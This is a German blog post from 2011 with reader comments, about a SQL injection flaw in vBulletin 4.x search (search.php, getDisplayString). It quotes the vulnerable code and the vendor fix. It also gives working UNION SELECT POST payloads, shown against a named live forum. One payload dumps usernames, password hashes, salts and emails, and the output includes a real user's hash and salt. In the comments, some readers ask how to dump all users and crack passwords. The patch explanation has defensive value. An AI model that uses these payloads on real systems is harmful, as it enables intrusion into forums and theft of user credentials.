Header
Apr 11 2011

vBulletin® 4.x SQL Injection Vulnerability

posted by J0hn.X3r Exploits

Ahoi,

Seit dem letzten Knueller von vBulletin, habe ich eigentlich nicht mehr mit einer gravierenden Luecke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veroeffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.

Interessant ist beispielsweise, dass es folgende Versionen betrifft:

vBulletin Publishing suite

  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1

vBulletin Forum classic

  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6 PL1
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1

Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hoert sich interessant an - ist es auch! Wo befindet sich die Luecke?

Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Luecke ist aber die gleiche.

Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{
			//If we have an array, we have to use equals.
			$sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key IN (" . implode(', ', $id) . ")";
 
			if ($rst = $vbulletin->db->query_read($sql))
			{
				while($row = $vbulletin->db->fetch_row($rst))
				{
					$names[] = $row[0];
				}
			}
 
			if (count($names) > 0)
			{
				return $table_display . ': ' . implode(', ', $names);
			}
		}
		else
		{
			//If we got here, we have a single value
			if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key = $id"))
			{
				return  $table_display . ' ' . self::getCompareString($comparator, $is_date)
					. ' ' . $row[0];
			}
		}
		return "";
	}

Vorallem die Variable $id ist nun fuer uns interessant, da sie in dieser Datei nicht gefiltert/ueberprueft wird.

Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:

vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
 
					'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));

Wenn wir das nun mit der obigen Funktion vergleichen:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{

Wird es diese wohl sein 😉

Wie nutze ich das nun aus?

Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Moeglichkeit zeigen. wie ihr die Luecke ausnutzen koennt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (fuer Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.

Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, waehlen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.

Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum

Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:

*Screenshot1*

Einen Treffer gibts auch:

*Screenshot2*

Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=

Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #

Und sieh an, sieh an:

*Screenshot3*

Eine eindeutige Ausgabe 🙂

Nun kann man zum Beispiel so weiter machen:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#

und siehe da:

*Screenshot4*

Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:[email protected]

Quasi owned 😉

Wie behebe ich die Luecke?

Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):

/vb/search/searchtools.php

		$id = $vbulletin->db->sql_prepare($id);
		if (is_array($id))
		{

Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die

/includes/class_core.php

editiert werden, naemlich:

Alt (Zeile 750):

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Neu:

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else if (is_null($value))
		{
			return "''";
		}
		else if (is_array($value))
		{
			foreach ($value as $key => $item)
			{
				$value[$key] = $this->sql_prepare($item);
			}
			return $value;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Soviel dazu erstmal, wuensch euch noch eine tolle Woche, mein naechstes Linux Tutorial folgt am Wochenende!

// Hinweis: Der Eintrag war damals http://j0hnx3r.org/?p=818 und ist nun ueber https://j0hnx3r.me/?p=818 bzw https://j0hnx3r.me/vbulletin-4-x-sql-injection-vulnerability/ erreichbar


Z4ppy at 29. May 2011, 20:14

Die haben ernsthaft vergessen, arrays beim sql_prepare rekursiv zu verarbeiten? LOL

MfG Z4ppy

CEE_KAY] at 29. May 2011, 20:14

nice try, mehr aber leider auch nicht :[

Cool wär, wenn du stärker darauf eingegangen wärest, was wie wo und warum schiefgegangen ist.
(zu kurze Code-Snippets && schlecht erklärt;
Sogar ein “diff -u” wäre hilfreicher.)

und spar dir dieses “ich zeich euch mal eben wie man das bei nem forum im inet macht” zeuch, so genau brauchen das nur kiddies.

@ Z4PPY: soweit wie ich das verstanden habe, hast du unrecht. (is aber schwer nur mit diesem artikel zu verstehen was genau schiefgegangen ist, vllt lieg ich ja falsch 😉 ) … sieht so aus, als hätten die vergessen das array $id zu filtern,
um das zu fixen haben sie sql_prepare darum erweitert auch arrays filtern zu können und das dann genutzt um $id zu filtern. Sie haben also nicht vergessen arrays rekursiv zu filtern. sondern nur vergessen dieses eine ordentlich zu filtern. Kapiert?

@ johnx3r: überarbeite den artikel plz, damit leute, die den vb source nicht gerade zur hand haben, den bug komplett && ohne zweifel verstehen :]

Happy Hackin’!

J0hn.X3r at 29. May 2011, 20:14

Jap, es geht einzig und allein um das array $id, ich merk grad das der Source wirklich etwas arg kurz ist, um das Problem zu sehen 😀

Und eigentlich hab ich euch ja gezeigt, was sich beim diff geaendert hat, naemlich einzig und alleine eine Zeile in der searchtools.php, aber ich werd noch die ganze Funktion posten bzw. die Stelle die Vuln ist.

Edit: Done (:

Blogleser at 29. May 2011, 20:15

Also haben die ninjas die ganze Zeit diese Lücke benutzt?
LoL dann wars das mit den ezines,wenn es gefixxt wird und langsam sieht es so aus,dass die ninjas die Lücken nur gekauft haben…Kinder halt.Deswegen wurde nie ein Forum 3.8.X nie von den ninjas geowned.Also wenn man jetzt alles sieht,war es keine große Leistung,jeder kann ein Exploit benutzen.

Gruß

InVisible at 29. May 2011, 20:15

Ähm Swissfaking warf 3.8.x erstmal nachdenken –> Dann posten. Free-Hack war auch unter 4.x

Fred at 29. May 2011, 20:15

Hi,
kannst du auch zeigen wie mann die Lücken unter vBulletin 4.0.1 fixxen kann?

MfG

Z4ppy at 29. May 2011, 20:15

@CEE_KAY]:
Ja mir ist absolut klar, wie die Vulnerability funktioniert.
Worauf ich hinaus wollte: die Programmierer von VB haben gar nicht damit gerechnet, dass der Parameter von sql_prepare ein Array sein könnte! Hätte man ein Array übergeben (in der alten Version), so wäre anstatt eines rekursiv verarbeiteten Arrays wahrscheinlich einfach nur ‘Array’ zurückgekommen (da müsste man jetzt anschauen was escape_string macht, evtl. hätte es dann auch eine Fehlermeldung gegeben). Und das kann ja wohl nich sein ^^

MfG Z4ppy

J0hn.X3r at 29. May 2011, 20:16

@ Blogleser: Bullshit.

@ Fred: Das hab ich unter “Wie behebe ich die Luecke?” erklaert, die Zeilen koennen womoeglich anders sein, aber die Stellen sind an sich die gleiche, sprich du suchst nach

“if (is_array($id))” in der searchtools.php (die stelle kommt exakt einmal vor) und postest dann die eine Zeile drueber, die in meinem Blogeintrag zu finden ist. Genauso in der class_core.php

York at 29. May 2011, 20:16

Mal abgesehen davon, dass wie InVisible sagte, alle möglichen vBulletin Versionen bei den HappyNinjas vertreten sind… Es sind auch genug Seiten dabei, welche garkein vBulletin verwendet haben. Also selbst wenn sie auch diesen Bug benutzt haben, so ist es doch ehr unwahrscheinlich, dass sie nur diesen Bug besessen haben. Ob sie sie gekauft haben, weiß ich nicht, aber ich halte es für unrealistisch. Bugs in vBulletin sind nicht grade billig, wer also würde sie sich kaufen und dann für ein eZine verwenden? Wohl ehr niemand.

Playboy1996 at 29. May 2011, 20:16

Naja ganz nett aber lass den exploitingteil
Weg

Do_Licious at 29. May 2011, 20:17

Hallo,
du hast es extrem drauf!
Könntest du mal mein Forum auf Lücken durchsuchen (Hat nichts mit der Szene zu tun!)

MfG

pussey at 29. May 2011, 20:17

@ Blogleser: Made my day

Baaaaaa at 29. May 2011, 20:17

$id wurde garnicht gefiltert? Oder überseh ich da etwas? Und wieso das Array cat? Wird das dann zu $id?

J0hn.X3r at 29. May 2011, 20:18

@ Do_Licious: Nein

@ Baaaaaa: Richtig. $id wurde gar nicht gefiltert. Und welches Array Cat?

Baaaaaa at 29. May 2011, 20:18

@p0ny
hthreadid=&cat[0]=1) UNION SELECT ‘haxhax’ #

bei dem cat[0], hab ich bis jetzt noch nicht so wirklich begriffen, was das macht. wird da der query string irgendwie übergeben oder das cat direkt an $id?

chrys at 29. May 2011, 20:18

wenn ich ein Wort suche, kein Ergebnis erscheint…
Ist ein patch in den code? Oder ist es weil alle groupen privat sind?

Pascal at 29. May 2011, 20:19

Hi,
ich bekomm nach der Abfrage ein 403.

Forbidden

You don’t have permission to access /forums/search.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Lösung parat?

J0hn.X3r at 29. May 2011, 20:19

Ich gebe dazu eigentlich keinen Support – habe meinen Beitrag ziemlich ausfuehrlich geschrieben.

redrebel at 31. May 2011, 14:07

Hey,
soweit alles verstanden 🙂 vielen Dank. 2 Fragen, falls mir die jemand beantworten könnte wäre super. 1. Gibt es eine Möglichkeit alle User zu dumpen ? Ich denke mal nicht weil man ja dauernd den Header verändert. 2. Bei z.B. Captcha-Abfragen ist ja immer die Antwort auf die letzte Frage im Header. Kann man das irgendwie umgehen ? Gern auch ICQ, ich bin sehr lernwillig in dem Bereich 🙂 605816332

redrebel at 31. May 2011, 15:31

Ok die Captcha-Frage hab ich selbst gelöst. Bleibt nur noch der Dump.

anonym at 1. June 2011, 04:00

natürlich könnte man die user mithilfe von “limit” dumpen

redrebel at 1. June 2011, 09:34

-.-

VIET BAC SECURITY at 11. June 2011, 12:53

Thanks.nice tut.

Hells at 13. June 2011, 17:17

Dank
Sie können ein neues Video Link bitte

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability at 14. June 2011, 20:31

[…] SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1# More info: vBulletin® 4.x SQL Injection Vulnerability ————————– # ~Advice~ # ————————– Vendor already released a patch […]

shah sid at 28. June 2011, 12:28

how to crack password????????

Nishant at 27. July 2011, 09:47

Good vulnerability.
Anyway you can write your posts in english as well?

J0hn.X3r at 28. July 2011, 02:47

Uhm dunno, maybe next time.

vBulletin 4.0.x => 4.1.4 (messagegroupid) SQL Injection Vulnerability | J0hn.X3r at 7. January 2015, 19:17

[…] ein paar Monaten, hatte ich zu einer SQL Injection in vBulletin ja schon einige Worte geschrieben, heute folgen die naechsten […]


Write a comment

Comment